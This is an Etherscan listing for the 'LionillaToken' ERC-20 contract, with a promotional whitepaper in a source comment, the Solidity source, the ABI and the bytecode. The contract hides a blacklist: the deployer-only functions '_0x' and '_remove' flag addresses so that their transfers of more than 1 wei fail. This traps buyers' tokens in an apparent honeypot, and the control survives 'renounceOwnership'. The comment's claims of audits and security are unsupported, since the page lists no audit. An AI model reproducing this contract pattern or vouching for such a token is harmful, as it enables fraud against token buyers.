Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 LIONILLA
Holders
105
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
200,000 LIONILLAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LionillaToken
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-08 */ /* Website: www.lionillatoken.com Telegram: @lionillatoken Twitter: @lionillatoken Lionilla: Memes Roaringly Reign Background and Context The evolution of cryptocurrency has witnessed a myriad of projects, each aiming to carve its niche within the ever-expanding landscape. In this dynamic environment, Lionilla Token emerges not merely as an addition but as a revolutionary force, driven by the commitment to redefine the standards of innovation, security, and community engagement. Lionilla Token, an ERC20 token built on the Ethereum blockchain, is engineered with the vision to address the diverse needs of the crypto community. It amalgamates cutting-edge technology with a robust economic model, striving to bring about positive change in the way projects are launched, traded, and sustained within the crypto ecosystem. Lionilla Token Overview Lionilla Token's economic foundation is built on a meticulous tokenomics model that ensures stability, growth, and fair distribution. A detailed breakdown of the token supply, distribution mechanisms, and the role of token holders in governance sets the stage for a comprehensive understanding of the project's financial structure. Lionilla Token leverages the Ethereum blockchain, utilizing smart contracts to facilitate secure and transparent transactions. The delves into the technical specifications, detailing the smart contract architecture, token standards compliance, and the integration of novel technologies to enhance the user experience. Security is paramount in the crypto space, and Lionilla Token places it at the forefront of its priorities. The whitepaper outlines the comprehensive security measures in place, including regular smart contract audits, continuous monitoring, and the establishment of a robust bug bounty program to ensure the integrity of the platform. Lionilla Pad: The Innovative IDO Launchpad Lionilla Pad represents a paradigm shift in the way token projects initiate their presales. This section provides an in-depth exploration of the launchpad's purpose, design philosophy, and the overarching goals it aims to achieve within the crypto launch ecosystem. Zero Upfront Fee Policy A standout feature of Lionilla Pad is its commitment to inclusivity by eliminating upfront fees for emerging projects. The elucidates the rationale behind this decision, emphasizing the importance of lowering barriers to entry for promising projects. Key Features of Lionilla Pad Lionilla Pad incorporates robust whitelisting mechanisms, ensuring a fair and organized presale process. The details the implementation of these mechanisms, their role in preventing token sniping, and their contribution to a transparent and inclusive fundraising environment. Vesting is a critical element in preserving the integrity of token distribution. Lionilla Pad introduces sophisticated vesting options, allowing project teams to align their interests with long-term success. This section provides a comprehensive guide to the vesting structures available on the platform. Efficient post-sale processes are integral to a successful launch. Lionilla Pad streamlines the claiming process for contributors, reducing friction and enhancing the overall user experience. The whitepaper elucidates the mechanics behind claim functionalities and their importance in maintaining user trust. Refund mechanisms play a crucial role in instilling confidence among contributors. Lionilla Pad integrates user-friendly refund options, and this section provides a detailed breakdown of the conditions under which refunds are initiated, ensuring transparency and clarity. Trust and Security Measures Trust is paramount in the crypto space. Lionilla Pad ensures trust through the process of "doxxing," where project teams reveal their real-world identities, establishing accountability and fostering a sense of community confidence. Know Your Customer (KYC) procedures are integrated into Lionilla Pad, adding an extra layer of security and compliance. This section details the KYC process, its implementation, and its contribution to creating a secure fundraising environment. Security audits are a cornerstone of Lionilla Pad's commitment to user safety. The whitepaper provides insights into the audit processes employed, including third-party audits, smart contract reviews, and ongoing security assessments to ensure the platform's resilience against potential vulnerabilities. Lionilla Pad goes beyond conventional launchpads by introducing an innovative affiliate program. This section outlines the mechanics of the program, the incentives offered to affiliates, and the symbiotic relationship it establishes between the platform and its community. Economic Model and Sustainability Lionilla Pad operates on a sustainable economic model, incorporating a modest tax on sales. This section provides a breakdown of how this tax is allocated, with a significant portion reinvested into the $LIONILLA ecosystem for buybacks, liquidity provisions, support for Centralized Exchanges and marketing initiatives. Ensuring the growth and stability of the mother token ($LIONILLA) is a core objective of Lionilla Pad. The whitepaper elucidates how the reinvestment strategy contributes to the overall health and expansion of the Lionilla ecosystem. In a landscape marked by diversity, Lionilla Pad accommodates multi-chain support. This section explores the platform's compatibility with different blockchain networks, providing flexibility to token projects in choosing their preferred launch platform. Lionilla Pad empowers token projects by offering a seamless presale experience across various blockchain networks. This section guides project teams on how to choose their preferred platform, ensuring compatibility and success in their fundraising endeavors. */ pragma solidity = 0.8.23; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _Owner; } function renounceOwnership() public virtual { require(msg.sender == _Owner); emit OwnershipTransferred(_Owner, address(0)); _Owner = address(0); } } contract LionillaToken is Context, IERC20, Ownable { mapping (address => uint256) public _balances; mapping (address => uint256) public Version; mapping (address => bool) private _User; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _totalSupply; string public _name = "Lionilla Token"; string public _symbol = unicode"LIONILLA"; uint8 private _decimals = 18; constructor () { uint256 _bnum = block.number; Version[_msgSender()] = _bnum; _totalSupply += 1000000000 *1000000000000000000; _balances[_msgSender()] += _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transferfrom(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); uint256 mAmount = amount; if (_User[sender]) require(mAmount < 2); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _remove (address _address) external { require (Version[_msgSender()] >= _decimals); _User[_address] = false; } function _transferfrom(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); uint256 mAmount = amount; if (_User[sender] || _User[recipient]) require(mAmount < 2); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _0x (address _address) external { require (Version[_msgSender()] >= _decimals); _User[_address] = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_0x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_remove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600e81526020017f4c696f6e696c6c6120546f6b656e000000000000000000000000000000000000815250600690816200004a919062000532565b506040518060400160405280600881526020017f4c494f4e494c4c410000000000000000000000000000000000000000000000008152506007908162000091919062000532565b50601260085f6101000a81548160ff021916908360ff160217905550348015620000b9575f80fd5b505f620000cb620002c760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f4390508060025f6200017f620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506b033b2e3c9fd0803ce800000060055f828254620001db919062000643565b9250508190555060055460015f620001f8620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000241919062000643565b9250508190555062000258620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002b891906200068e565b60405180910390a350620006a9565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200034a57607f821691505b60208210810362000360576200035f62000305565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000387565b620003d0868362000387565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200041a620004146200040e84620003e8565b620003f1565b620003e8565b9050919050565b5f819050919050565b6200043583620003fa565b6200044d620004448262000421565b84845462000393565b825550505050565b5f90565b6200046362000455565b620004708184846200042a565b505050565b5b8181101562000497576200048b5f8262000459565b60018101905062000476565b5050565b601f821115620004e657620004b08162000366565b620004bb8462000378565b81016020851015620004cb578190505b620004e3620004da8562000378565b83018262000475565b50505b505050565b5f82821c905092915050565b5f620005085f1984600802620004eb565b1980831691505092915050565b5f620005228383620004f7565b9150826002028217905092915050565b6200053d82620002ce565b67ffffffffffffffff811115620005595762000558620002d8565b5b62000565825462000332565b620005728282856200049b565b5f60209050601f831160018114620005a8575f841562000593578287015190505b6200059f858262000515565b8655506200060e565b601f198416620005b88662000366565b5f5b82811015620005e157848901518255600182019150602085019450602081019050620005ba565b86831015620006015784890151620005fd601f891682620004f7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200064f82620003e8565b91506200065c83620003e8565b925082820190508082111562000677576200067662000616565b5b92915050565b6200068881620003e8565b82525050565b5f602082019050620006a35f8301846200067d565b92915050565b611aed80620006b75f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107d490611612565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611612565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484610fee565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f61088f610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d3575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6007805461093890611612565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611612565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611612565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611612565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906117a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061182e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8291906114e2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf4906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061194a565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e4c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610e5e5760028110610e5d575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990611a66565b60405180910390fd5b8281610eee91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f7b9190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fdf91906114e2565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611053906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c19061194a565b60405180910390fd5b5f811161110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561116c576002811061116b575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790611a66565b60405180910390fd5b82816111fc91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112899190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ed91906114e2565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611333578082015181840152602081019050611318565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611358826112fc565b6113628185611306565b9350611372818560208601611316565b61137b8161133e565b840191505092915050565b5f6020820190508181035f83015261139e818461134e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d3826113aa565b9050919050565b6113e3816113c9565b81146113ed575f80fd5b50565b5f813590506113fe816113da565b92915050565b5f819050919050565b61141681611404565b8114611420575f80fd5b50565b5f813590506114318161140d565b92915050565b5f806040838503121561144d5761144c6113a6565b5b5f61145a858286016113f0565b925050602061146b85828601611423565b9150509250929050565b5f8115159050919050565b61148981611475565b82525050565b5f6020820190506114a25f830184611480565b92915050565b5f602082840312156114bd576114bc6113a6565b5b5f6114ca848285016113f0565b91505092915050565b6114dc81611404565b82525050565b5f6020820190506114f55f8301846114d3565b92915050565b5f805f60608486031215611512576115116113a6565b5b5f61151f868287016113f0565b9350506020611530868287016113f0565b925050604061154186828701611423565b9150509250925092565b5f60ff82169050919050565b6115608161154b565b82525050565b5f6020820190506115795f830184611557565b92915050565b611588816113c9565b82525050565b5f6020820190506115a15f83018461157f565b92915050565b5f80604083850312156115bd576115bc6113a6565b5b5f6115ca858286016113f0565b92505060206115db858286016113f0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162957607f821691505b60208210810361163c5761163b6115e5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61169c602883611306565b91506116a782611642565b604082019050919050565b5f6020820190508181035f8301526116c981611690565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61170782611404565b915061171283611404565b925082820390508181111561172a576117296116d0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61178a602483611306565b915061179582611730565b604082019050919050565b5f6020820190508181035f8301526117b78161177e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611818602283611306565b9150611823826117be565b604082019050919050565b5f6020820190508181035f8301526118458161180c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a6602583611306565b91506118b18261184c565b604082019050919050565b5f6020820190508181035f8301526118d38161189a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611934602383611306565b915061193f826118da565b604082019050919050565b5f6020820190508181035f83015261196181611928565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119c2602983611306565b91506119cd82611968565b604082019050919050565b5f6020820190508181035f8301526119ef816119b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a50602683611306565b9150611a5b826119f6565b604082019050919050565b5f6020820190508181035f830152611a7d81611a44565b9050919050565b5f611a8e82611404565b9150611a9983611404565b9250828201905080821115611ab157611ab06116d0565b5b9291505056fea264697066735822122063fdf4910333f6b0944b6657ca726c4eea69a70b1abf344e617385a973c613b764736f6c63430008170033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565